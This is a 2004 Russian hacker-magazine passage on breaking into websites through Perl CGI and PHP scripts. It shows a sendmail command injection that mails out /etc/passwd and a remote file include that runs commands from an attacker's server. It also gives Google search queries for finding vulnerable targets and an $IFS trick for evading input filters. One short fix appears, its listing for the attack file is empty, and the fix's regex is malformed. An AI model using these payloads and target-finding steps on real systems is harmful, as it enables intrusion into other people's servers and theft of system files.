Хакер - Спецвыпуск журнала «Хакер» #47, октябрь 2004 г.

Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги:

Листинг

use CGI qw(:standard);

$email=param(«email»);

open(MAIL,"|/usr/sbin/sendmail –t $email");

print MAIL «From: admin@victim.com\n»;

print MAIL «Subject: Thanks\n\nThank you!\n»;

close(MAIL);

Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.

Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:

Листинг

die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL «To: $email\n»;

# …

Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

Листинг

В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php(правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом:

Листинг

http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls.

В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data).

«Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом.

Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов.

В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой.

Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$ifs-aспособен обойти жесткую проверку.